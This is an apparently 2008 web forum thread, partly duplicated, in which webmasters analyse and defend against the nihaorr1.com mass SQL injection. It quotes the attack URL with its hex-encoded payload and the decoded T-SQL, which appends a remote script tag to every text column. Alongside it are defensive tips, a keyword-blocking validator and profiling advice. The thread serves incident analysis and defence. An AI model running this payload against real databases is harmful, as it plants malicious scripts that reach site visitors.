I found this security notice on Microsofts website finally
http://www.microsoft.com/technet/security/advisory/951306.mspx I have just made the prescribed changes. Hopefully this will stop this from getting me again.
decoding that binary data which is cast to a varchar yields this:
DECLARE @T varchar(255)'@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name'b.name from sysobjects a'syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor
INTO @T'@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar'['+@C+']))+''<script src=nihaorr1.com/1.js></script>''')FETCH NEXT FROM Table_Cursor INTO @T'@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
And there you have it. It finds all text columns in the database and adds itself to it.
Thanks. That is the first proof I have seen as to how this works.
We added a logging function to our sql calls to try to trap for this type of information.
We have been adding a common script to the top of all of our pages to look for "offending" data in the url parms or the form variables. Seems like a never ending task, though. Doing the rework suggested to stop SQL Injectors is not an easy project given
the hundreds of pages we have.
We are continuing to fight this. It is a very "resource draining" project.
"Best Practice" - lots of them - primarily checking each form processing script to ensure that one cannot simply pass in a long field and/or content which has sql commands such as "select", "update", etc.
As you can see from this particular situation, the data may not be readily seen as offending (ie, the binary encoding). Testing length is therefore pretty important as a rule. If you are expecting to insert a product code into a shopping cart or an email
address into a registration table, there is no reason to allow a string longer than the field length to be submitted to the database. One could argue that because of that, keep your field lengths to the minimum, etc.
Minimize the number of dynamic sql statements
Keep in mind that just limiting your form field's "maxlength" property does little value as these attacks are not validated by any server side browser - they are launched via script or program and often at a very rapid pace.
If your db connection for your site is using "sa" or equivalent, you also have a problem because they can launch extended stored procs. Make sure your db connection is using "user" level privileges only.
these are some of the bigger items - there is lots on the net on the topic of 'sql injection'
I want to follow up on all the controversy and theories regarding the massive ongoing iframe injections pointing to domains such as nmidahena.com, aspder.com and more recently: nihaorr1.com
My intention is to focus a little on the facts rather than amplify the ongoing rumours and theories since this is causing frustrated webmasters to attempt hundreds of different methods to avoid these attacks with no luck.
The attacks appear to come from China in relation to the public movements in order to boicot China’s Olympic Games.
To answer the question whether this attack might be using more complex methods beyond just a simple sql injection, the answer is yes and no.
The injection appears to be VERY SIMPLE. It does not need to be an ASP page containing a form. Last week we cleaned and patched up more than 10 websites affected by these attacks and 8 of them had been injected through the querystring of a simple "select" page.
No forms or update statements existed on the pages from where the injection was entering.
However, the command being executed is fairly complex in itself.
I'm saying this because many webmasters are going mad patching up sensitive forms, restricting session id's etc.. only to get attacked again and again.
You will indeed need to strengthen your code the sooner the better, but in this particular case consider the following for a temporary solution:
Create an include file with something like this:
<%
if instr(lcase(sql),";--")>0 then
response.redirect("index.asp")
end if
if instr(lcase(sql),"nvarchar")>0 then
response.redirect("index.asp")
end if
%>
Call it, forexample, Validator.asp and put it right before your select statements are executed:
<!--#include file="validator.asp"-->
rs.Open sql
This will not permit some of the key words required to execute this command to take place and therefore the malicious Exec will not be allowed.
Ofcourse you have to discover which pages are being used to inject this code.
Most likely it is not a page that requires a member session to be viewed since the spiders are attacking pages that are cached in Google.
Is there a tool or a mechanism to find it?
The best way to discover when and where the attack is taking place is by running, forexample, SQL Server Profiler.
Set it to record only Exec commands and when the injection happens it will show up and should reflect something like this:
SELECT Musicas.Artistas, Musicas.Titles, Musicas.Formatos, Musicas.MemIDs, Musicas.Enlsae, Mem.Statesa, Mem.Cities, Mem.Paises, Mem.Users FROM Musicas, Mem Where Musicas.Titles = 'acb;DECLARE @S NVARCHAR(4000);SET @S=CAST0x440045000043005500520053004F005200200046004F0050020004600450054004300480020004E00450058005400
06900680061006F00720010062006C0065005F0043007500720073006F007200
AS NVARCHAR(4000));EXEC(@S);--' And Mem.ID = Musicas.MemIDs ORDER BY Mem.Fealogs DESC
Once you run the statement through the descrypter you'll get something like this:
DECLARE @T varchar(255)'@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name'b.name from sysobjects a'syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor
INTO @T'@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar'['+@C+']))+''<script src=nihaorr1.com/1.js></script>''')FETCH NEXT FROM Table_Cursor INTO @T'@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
This shows how the nihaorr1.com domain is being used by the script to harrass the users that visit your page where the script is executed.
You can also see from the above command that the Exec will try to inject every table in your database which can contain varchar type.
This is a very annoying attack since the spiders appear to be running in a circle on constant autopilot. However, don't go about thinking that this is as bad as it gets because the Exec command could easily have been programmed to delete your tables and
even drop tables if the external users are configured to have such rights.
I'm saying this to put a rush on everyone affected by these attacks and to get their sites fixed up as soon as possible.
These attacks may just be a pre-warning, and if the attackers alter the code to make it delete and drop instead, then we'll be facing much bigger problems.
Forget about wasting time and money on expensive antivirus and firewall solutions. They cannot do anything against SQL injection attacks and it is a common practice around forums to try and give people a false sense of security by pasting links to different
software companies. These attacks are happening where there's vulnerable ASP code and no expensive software can prevent or "clean" this.
Feel free to contact me and I'll do my best to get back to you.
Hi,
Having had a couple customer's impacted who did not have database back-ups going, thought folks might want a way to clean-up the damage caused by these injections.
This was my solution - it ain't perfect (for example, some folks have variations in the format of injected script tags), but use it / tweak it / be careful as it DOES remove text forever and ever.
It is fairly generic and in Query Analyzer you can comment out the EXEC and uncomment the PRINT if you want to see the SQL it will run - it simply hunts for the string you provide and removes it. It will hit ntext fields if the legnth of data is not over
8000 bytes.
We appear to have been hit by this through our website that did have a customer entry form connected to an ASP page inserting records. For now I have remove this page and changed the user permission to only SELECT from the appropriate tables. Will this patch
my SQL server to prevent this from hitting us again?
rwmorey
4 Posts
Re: Anyone know about www.nihaorr1.com/1.js?
Apr 19, 2008 02:47 PM|LINK
I found this security notice on Microsofts website finally
http://www.microsoft.com/technet/security/advisory/951306.mspx I have just made the prescribed changes. Hopefully this will stop this from getting me again.
powlette
1 Post
Re: Anyone know about www.nihaorr1.com/1.js?
Apr 20, 2008 04:06 AM|LINK
Long story short, it's definitely SQL injection. here's the offending url:
orderitem.asp?IT=GM-204;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C004000 4300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F0072002000430055 00520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D00200073007900 73006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069 006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F0072002000 62002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D0031 0036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00 200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C00450028004000400046004500540043 0048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B00 27005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C 005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F007700770077002E006E00 6900680061006F007200720031002E0063006F006D002F0031002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E0045 00580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E0044002000 43004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F00430075 00720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S);--decoding that binary data which is cast to a varchar yields this:
DECLARE @T varchar(255)'@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name'b.name from sysobjects a'syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T'@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar'['+@C+']))+''<script src=nihaorr1.com/1.js></script>''')FETCH NEXT FROM Table_Cursor INTO @T'@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
And there you have it. It finds all text columns in the database and adds itself to it.
rwmorey
4 Posts
Re: Anyone know about www.nihaorr1.com/1.js?
Apr 20, 2008 03:46 PM|LINK
Is there a "best practice" for blocking this or similar type attacks?
eftennis
4 Posts
Re: Anyone know about www.nihaorr1.com/1.js?
Apr 20, 2008 04:51 PM|LINK
Thanks. That is the first proof I have seen as to how this works.
We added a logging function to our sql calls to try to trap for this type of information.
We have been adding a common script to the top of all of our pages to look for "offending" data in the url parms or the form variables. Seems like a never ending task, though. Doing the rework suggested to stop SQL Injectors is not an easy project given the hundreds of pages we have.
We are continuing to fight this. It is a very "resource draining" project.
xtal
1 Post
Re: Anyone know about www.nihaorr1.com/1.js?
Apr 20, 2008 04:58 PM|LINK
"Best Practice" - lots of them - primarily checking each form processing script to ensure that one cannot simply pass in a long field and/or content which has sql commands such as "select", "update", etc.
As you can see from this particular situation, the data may not be readily seen as offending (ie, the binary encoding). Testing length is therefore pretty important as a rule. If you are expecting to insert a product code into a shopping cart or an email address into a registration table, there is no reason to allow a string longer than the field length to be submitted to the database. One could argue that because of that, keep your field lengths to the minimum, etc.
Minimize the number of dynamic sql statements
Keep in mind that just limiting your form field's "maxlength" property does little value as these attacks are not validated by any server side browser - they are launched via script or program and often at a very rapid pace.
If your db connection for your site is using "sa" or equivalent, you also have a problem because they can launch extended stored procs. Make sure your db connection is using "user" level privileges only.
these are some of the bigger items - there is lots on the net on the topic of 'sql injection'
asidana
20 Posts
Re: Anyone know about www.nihaorr1.com/1.js?
Apr 20, 2008 04:59 PM|LINK
i have banned ip range for now. it's residental adsl line from china
nhertz
2 Posts
Re: Anyone know about www.nihaorr1.com/1.js?
Apr 21, 2008 12:19 AM|LINK
I want to follow up on all the controversy and theories regarding the massive ongoing iframe injections pointing to domains such as nmidahena.com, aspder.com and more recently: nihaorr1.com
My intention is to focus a little on the facts rather than amplify the ongoing rumours and theories since this is causing frustrated webmasters to attempt hundreds of different methods to avoid these attacks with no luck.
The attacks appear to come from China in relation to the public movements in order to boicot China’s Olympic Games.
To answer the question whether this attack might be using more complex methods beyond just a simple sql injection, the answer is yes and no.
The injection appears to be VERY SIMPLE. It does not need to be an ASP page containing a form. Last week we cleaned and patched up more than 10 websites affected by these attacks and 8 of them had been injected through the querystring of a simple "select" page. No forms or update statements existed on the pages from where the injection was entering.
However, the command being executed is fairly complex in itself.
I'm saying this because many webmasters are going mad patching up sensitive forms, restricting session id's etc.. only to get attacked again and again.
You will indeed need to strengthen your code the sooner the better, but in this particular case consider the following for a temporary solution:
Create an include file with something like this:
<%
if instr(lcase(sql),";--")>0 then
response.redirect("index.asp")
end if
if instr(lcase(sql),"nvarchar")>0 then
response.redirect("index.asp")
end if
%>
Call it, forexample, Validator.asp and put it right before your select statements are executed:
<!--#include file="validator.asp"-->
rs.Open sql
This will not permit some of the key words required to execute this command to take place and therefore the malicious Exec will not be allowed.
Ofcourse you have to discover which pages are being used to inject this code.
Most likely it is not a page that requires a member session to be viewed since the spiders are attacking pages that are cached in Google.
Is there a tool or a mechanism to find it?
The best way to discover when and where the attack is taking place is by running, forexample, SQL Server Profiler.
Set it to record only Exec commands and when the injection happens it will show up and should reflect something like this:
SELECT Musicas.Artistas, Musicas.Titles, Musicas.Formatos, Musicas.MemIDs, Musicas.Enlsae, Mem.Statesa, Mem.Cities, Mem.Paises, Mem.Users FROM Musicas, Mem Where Musicas.Titles = 'acb;DECLARE @S NVARCHAR(4000);SET @S=CAST0x440045000043005500520053004F005200200046004F0050020004600450054004300480020004E00450058005400
2000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400
054002C0040004300200057280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00
270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F007700770077002E006E0
06900680061006F00720010062006C0065005F0043007500720073006F007200
AS NVARCHAR(4000));EXEC(@S);--' And Mem.ID = Musicas.MemIDs ORDER BY Mem.Fealogs DESC
Once you run the statement through the descrypter you'll get something like this:
DECLARE @T varchar(255)'@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name'b.name from sysobjects a'syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T'@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar'['+@C+']))+''<script src=nihaorr1.com/1.js></script>''')FETCH NEXT FROM Table_Cursor INTO @T'@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
This shows how the nihaorr1.com domain is being used by the script to harrass the users that visit your page where the script is executed.
You can also see from the above command that the Exec will try to inject every table in your database which can contain varchar type.
This is a very annoying attack since the spiders appear to be running in a circle on constant autopilot. However, don't go about thinking that this is as bad as it gets because the Exec command could easily have been programmed to delete your tables and even drop tables if the external users are configured to have such rights.
I'm saying this to put a rush on everyone affected by these attacks and to get their sites fixed up as soon as possible.
These attacks may just be a pre-warning, and if the attackers alter the code to make it delete and drop instead, then we'll be facing much bigger problems.
Forget about wasting time and money on expensive antivirus and firewall solutions. They cannot do anything against SQL injection attacks and it is a common practice around forums to try and give people a false sense of security by pasting links to different software companies. These attacks are happening where there's vulnerable ASP code and no expensive software can prevent or "clean" this.
Feel free to contact me and I'll do my best to get back to you.
Regards,
Nicolai Hertz
Software Programmer
2003 ASP nihaorr1 xss sql injection Iframe injection aspder nmidahena
therage3k
3 Posts
Re: Anyone know about www.nihaorr1.com/1.js?
Apr 21, 2008 02:35 AM|LINK
Hi,
Having had a couple customer's impacted who did not have database back-ups going, thought folks might want a way to clean-up the damage caused by these injections.
This was my solution - it ain't perfect (for example, some folks have variations in the format of injected script tags), but use it / tweak it / be careful as it DOES remove text forever and ever.
It is fairly generic and in Query Analyzer you can comment out the EXEC and uncomment the PRINT if you want to see the SQL it will run - it simply hunts for the string you provide and removes it. It will hit ntext fields if the legnth of data is not over 8000 bytes.
http://shop.zettaspace.com/knowledgebase.php?action=displayarticle&catid=1&id=1
Hope this helps.
nihaorr1 sql injection aspder clean-up
rwmorey
4 Posts
Re: Anyone know about www.nihaorr1.com/1.js?
Apr 21, 2008 02:49 AM|LINK
We appear to have been hit by this through our website that did have a customer entry form connected to an ASP page inserting records. For now I have remove this page and changed the user permission to only SELECT from the appropriate tables. Will this patch my SQL server to prevent this from hitting us again?
Thanks
Rich
Rovastar
3321 Posts
MVP
Moderator
Re: Anyone know about www.nihaorr1.com/1.js?
Apr 21, 2008 09:28 AM|LINK
Thanks for the update everybody. Looking like it is spreading quickly atm judging by how many views this topic has..
I still don't think any of my servers have be hit yet but going to have a more details search later.